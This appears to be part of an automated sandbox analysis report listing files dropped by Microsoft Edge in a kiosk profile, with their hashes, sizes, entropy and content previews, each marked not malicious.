SHA-512:	07938017BD6F07F09735385C57EFF62809A7FAF65B3D40A6969728E559B0E200F74AEBC950C94462B05970C1D7DE8D5707ABDC2257711356C4D6E10033BB5593
Malicious:	false
Preview:	{"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6ebFAFg=="},"policy":{"last_statist

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\4ee48009-52bc-48fb-99e1-6a5ce4ad288c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26657
Entropy (8bit):	6.049525313644168
Encrypted:	false
SSDEEP:	768:sMGQ7FCYXGIgtDAWtJ4nmPvvFoGzG93Yr//N6ONMgl:sMGQ5XMBGmuGzUYrnRbl
MD5:	692D30B5C6B6B8561510CF330AC96A67
SHA1:	DE2DEE1A8FC709ACCD97F2F19C606886C9D37B1F
SHA-256:	606C9B33A14C1CCB155DDA8E14D7280E9BC75DCCCB0F562A4A30E040F948AADE
SHA-512:	023649C388D593DD0F26EE195829B268E0F0F5332D9E637AF3DD4D8A6EBD8ECD13B622B8168B63250193DCC3AE6F96343D3F7DE7A872F4FCEFF82675EA730154
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369625294313295","desktop_session_duration_tracker":{"last_session_end_timestamp":"0"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd198r5dr5VYgHj55jUJZGTtlg0NlA7S5AnvB8l7z3olnPV2vfCLsugvBUH7vTVIe9Y151SnmS2Auyvcr5UGYXBvzT2s0L3f

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\61e3b796-b431-4ffd-bcac-6fd35b888ac8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26657
Entropy (8bit):	6.049527212528746
Encrypted:	false
SSDEEP:	768:sMGQ7FCYXGIgtDAWtJ4nmnvvFoGzG93Yr//N6ONMgl:sMGQ5XMBGmmGzUYrnRbl
MD5:	4B9B7E7D623B557685E30F1113A8C4CB
SHA1:	65F89D38B7977EB0317370FDD1055BC2FD5B0E20
SHA-256:	D899AE1BAEABBA5C1F429432A3F53F9D866A7AACD34D508A66C52EDEC1A87FAA
SHA-512:	BF397DF31A6500BEC466726EF9884E0061D83920BB85090C8F99DAEFEB3C34757DAFF5AAB71D1E54D35B954D4230DCF321A0D465C8B36D81EF22193323E03DB9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369625294313295","desktop_session_duration_tracker":{"last_session_end_timestamp":"0"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd198r5dr5VYgHj55jUJZGTtlg0NlA7S5AnvB8l7z3olnPV2vfCLsugvBUH7vTVIe9Y151SnmS2Auyvcr5UGYXBvzT2s0L3f

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\6ea534fb-4fc1-4b7a-acef-43b1b74b2652.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26657
Entropy (8bit):	6.049522391876216
Encrypted:	false
SSDEEP:	768:sMGQ7FCYXGIgtDAWtJ4nmzvvFoGzG93Yr//N6ONMgl:sMGQ5XMBGmCGzUYrnRbl
MD5:	8D2D2A32917C79C8010325B37DF644A0
SHA1:	AB1A3E91943FC4A53D16563A49D744FE208725B0
SHA-256:	273B21C6F687C06B58A35050103878EE9408B3B2CDA0F8E8933FF493966CA304
SHA-512:	B771B7415DFB484F1B9F4551EADF4D392AE2A722C91EF9D2CA2248EB833517B438FB86F6D307548241DFA41F0CFF3F8DB8CE1B77A0622D7885E73B3B32A39478
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369625294313295","desktop_session_duration_tracker":{"last_session_end_timestamp":"0"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd198r5dr5VYgHj55jUJZGTtlg0NlA7S5AnvB8l7z3olnPV2vfCLsugvBUH7vTVIe9Y151SnmS2Auyvcr5UGYXBvzT2s0L3f

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\7faa1e16-1870-4fe1-aa9f-8363b5b4788a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4235
Entropy (8bit):	5.485646552416381
Encrypted:	false
SSDEEP:	96:0q8NkGS1fLJN+58rh/cI9URoDotoLHBIh/vMjUzgJkKczASDS4S4SDSXI4a:/8NBS9JN/eoDUqIjzQkKR
MD5:	502704259C4EB20AD568765071C4C637
SHA1:	958C059C3C01AB2837E1542885533A42DF0EE1A6
SHA-256:	44C2891F645765A5A285AE101C22996B43E8242EE71422BA25533158F2C365FD
SHA-512:	4DD57145F5014CD91E7E823AD630229A3B1B01C8C56A8B27600E31350BA8A0700786449D59F806FF29B3614E0A9D2ABA85F05F0C11BD8B05812237BA663A4290
Malicious:	false
Preview:	{"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fre":{"oem_bookmarks_set":true},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6e

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\81f54283-fcc2-4ae5-a620-9c2015531aef.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26657
Entropy (8bit):	6.049484005615231
Encrypted:	false
SSDEEP:	768:sMGQ7FCYXGIgtDAWtJ4nmjvvFoGzG93Yr//N6ONMgl:sMGQ5XMBGmyGzUYrnRbl
MD5:	96E54474B716D9599C0DC3BE398BC41F
SHA1:	684064E5A2453CA5ECA98F86AB050321B15D3938
SHA-256:	51622D793DF306F57673B365BEE1CAFE6205254697E330E124EA90D3B4DE0AE4
SHA-512:	45CFD432DD08A515C3E41EBFE852E27A5B9F89C9FD0D2DFF2F36EAE3D5C95B8E8C4962197CD15F0A5330D9E6038221DABC7F7118CC557CA26AF531EB1F9B46F1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369625294313295","desktop_session_duration_tracker":{"last_session_end_timestamp":"0"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd198r5dr5VYgHj55jUJZGTtlg0NlA7S5AnvB8l7z3olnPV2vfCLsugvBUH7vTVIe9Y151SnmS2Auyvcr5UGYXBvzT2s0L3f

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\97a27ead-7af2-4a74-b2aa-1bfc0bbe4353.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26657
Entropy (8bit):	6.049540061560021
Encrypted:	false
SSDEEP:	768:sMGQ7FCYXGIgtDAWtJ4nmuvvFoGzG93Yr//N6ONMgl:sMGQ5XMBGmfGzUYrnRbl
MD5:	B7530B515EFDE0FAC6CEE63CF829B536
SHA1:	D9E9857194C19B872D769504B02DC085689B5B0C
SHA-256:	6BEE42054C53F092FD62C595D664EEB4DDEFF7A9ABB7C8761E82887736F0A6F6
SHA-512:	18F9038809485C9237347D19BA9FDCB974E43F457ACE2B0E5755C27DDB706833D247F06EE17F12FA3ABD013997A56AB12A05606212DB7978094BD30377949A11
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369625294313295","desktop_session_duration_tracker":{"last_session_end_timestamp":"0"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd198r5dr5VYgHj55jUJZGTtlg0NlA7S5AnvB8l7z3olnPV2vfCLsugvBUH7vTVIe9Y151SnmS2Auyvcr5UGYXBvzT2s0L3f

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Ad Blocking\83065797-1141-4e72-8e4c-a8ed253e6cc0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640149995732079
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P75:fwUQC5VwBIiElEd2K57P75
MD5:	AD9FA3B6C5E14C97CFD9D9A6994CC84A
SHA1:	EF063B4A4988723E0794662EC9D9831DB6566E83
SHA-256:	DCC7F776DBDE2DB809D3402FC302DB414CF67FE5D57297DDDADCE1EE42CFCE8F
SHA-512:	81D9D59657CAF5805D2D190E8533AF48ACEBFFF63409F5A620C4E08F868710301A0C622D7292168048A9BC16C0250669FAAA2DCBF40419740A083C6ED5D79CFA
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640149995732079
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P75:fwUQC5VwBIiElEd2K57P75
MD5:	AD9FA3B6C5E14C97CFD9D9A6994CC84A
SHA1:	EF063B4A4988723E0794662EC9D9831DB6566E83
SHA-256:	DCC7F776DBDE2DB809D3402FC302DB414CF67FE5D57297DDDADCE1EE42CFCE8F
SHA-512:	81D9D59657CAF5805D2D190E8533AF48ACEBFFF63409F5A620C4E08F868710301A0C622D7292168048A9BC16C0250669FAAA2DCBF40419740A083C6ED5D79CFA
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\BrowserMetrics\BrowserMetrics-66D3B9CB-1FF4.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04049560620829385
Encrypted:	false
SSDEEP:	192:3lUjLYiVWK+ggCdlAJtD+FX9X3okgV8vYhXxNEq4bcRQM9wS1n8y08Tcm2RGOdB:1UjjlMqSnhBCQiS108T2RGOD
MD5:	CD8C8F47B538876907820ACA5282264A
SHA1:	560C42CC7E9D85B51D939EB484954BEF6B790751
SHA-256:	DAAF4F1AB2A23BD1DC2CCA02FFE33B7A2F0F1AE956CC92975427DCB34F83CD95
SHA-512:	83791564C17E9A5CC0C389C94E808C249E654F1E5D0BD40958B2FB0CB8B7208A84F1445B94615E77CF6B8143635E6B985EC0116388E0297EAAF7B0D41C4C436C
Malicious:	false
Preview:	...@..@...@.....C.].....@................a...P..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".rpijpc20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@................................7..$}.CG....L.T.w..Ucw.}....u.$r....9...>.........."....."...2..."..:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...X9..v~=@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z.......................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\BrowserMetrics\BrowserMetrics-66D3B9CC-1CDC.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4684696116458146
Encrypted:	false
SSDEEP:	3072:jFwa/hH3kP9Ol9updMmlSh8NJfdxQSSNxfnhBg1HFeJZ7zU1+mNKqVgJhW9mfhjd:rhh6KnhBaHkNVVSWL0taHgZ/TS
MD5:	04069EF95B4C074D03BBA600A61CC62A
SHA1:	2EC6C9A26F3EF5C595B34ADA3C2E7763DB523A6A
SHA-256:	C038D68F6C0FC1D092BF38F987B61638B485A43677776903AF125ABB6DC50B4E
SHA-512:	55FCB171886E98B20C6FD60DB7F1EE83DA1412DA18665D8D581D5778E082B045E77695E06889262CFD96EB988DC75FBCE5299F2CBC16314C90AE86EB4897ABB3
Malicious:	false
Preview:	...@..@...@.....C.].....@................{..P{..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB*...Windows NT..10.0.190452....x86_64..?........".rpijpc20,1(.0..8..B....(.....10.0.19041.5462.Google Inc. (Google):bANGLE (Google, Vulkan 1.3.0 (SwiftShader Device (Subzero) (0x0000C0DE)), SwiftShader driver-5.0.0)M..BU..Be...?j...GenuineIntel... .. ..............x86_64...J....s..^o..J...W..^o..J..,jp..^o..J.......^o..J../T...^o..J...X.p.^o..J.....p.^o..J...c...^o..J...Y...^o..J.......^o..J..w....^o..J...G.Y.^o..J..A....^o..J....c..^o..J...c=..^o..J....J..^o..J...h8..^o..J..3.(..^o..J.......^o..J..!n...^o..J...S@".^o..J.......^o..J.......^o..J...j.8.^o..J..@....^o..J.......^o..J...b.J.^o..J..G....^o..J..8...^o..J...#...^o..J....k..^o..J..S..O.^o.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.124968862800203
Encrypted:	false
SSDEEP:	3:FiWWltluosWr4HSRqOFhJXI2EyBl+BVP/Sh/Jzv4ovSMK7L3HaGatl:o1uosWMyRqsx+BVsJD4ovSMYL36GaX
MD5:	C0C016F69A9790304EFEA942A44B0FBD
SHA1:	C028025BB889501395654C927AD3ABB81C5CBB12
SHA-256:	F24AC4CDC68ED25C24D7C490B74AE3AB1B9ED0B484589C68A8B23BE1BF8B80DD
SHA-512:	66EAC1E1E319FE6DE61FC893A98847260283B436A17E04B88EA584A952125D1BAAB9E0486BE62B661F687694E40409DEFABE8F913299BDB6168D7B1CED32D105
Malicious:	false
Preview:	sdPC.......................y.sB.,..Mf,k"1SCRpGKHAwpF5kOwXUUSc/ojBrTkNG2SgkvqW1WE7kI="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................12c43fd9-773e-4fc0-afd6-784b507b06a7............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Crashpad\throttle_store.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.6219280948873624
Encrypted:	false
SSDEEP:	3:8g6Vvn:8g6Vv
MD5:	9E4E94633B73F4A7680240A0FFD6CD2C
SHA1:	E68E02453CE22736169A56FDB59043D33668368F
SHA-256:	41C91A9C93D76295746A149DCE7EBB3B9EE2CB551D84365FFF108E59A61CC304
SHA-512:	193011A756B2368956C71A9A3AE8BC9537D99F52218F124B2E64545EEB5227861D372639052B74D0DD956CB33CA72A9107E069F1EF332B9645044849D14AF337
Malicious:	false
Preview:	level=none expiry=0.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\02c17093-acde-4195-a8aa-efcdb24612b7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6675
Entropy (8bit):	4.98104273711551
Encrypted:	false
SSDEEP:	96:stTqfQDis1mAkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJN3UQm2Mhu/EJ:stTj+sR39KNkcs88bV+FiADPhuMJ
MD5:	51B479554D3D598CA5CA1C1A38D2CF03
SHA1:	A122BE3D9EACA0CA7A9F512EF33392CFF3693E66
SHA-256:	DD3A58E05BA99ABD79D1C714E4DCC7CE562DDE769459C92C6CBF234D3E1633EA
SHA-512:	CC77D37C6F8017A057D312B3C816D9ADB3430763B9603FFDD5E437BDE46799EA680B04997CE5F90EB8A1E9CC268A754EB4E4B40FCD1D2725DE3CC89F1D4F9E4C
Malicious:	false
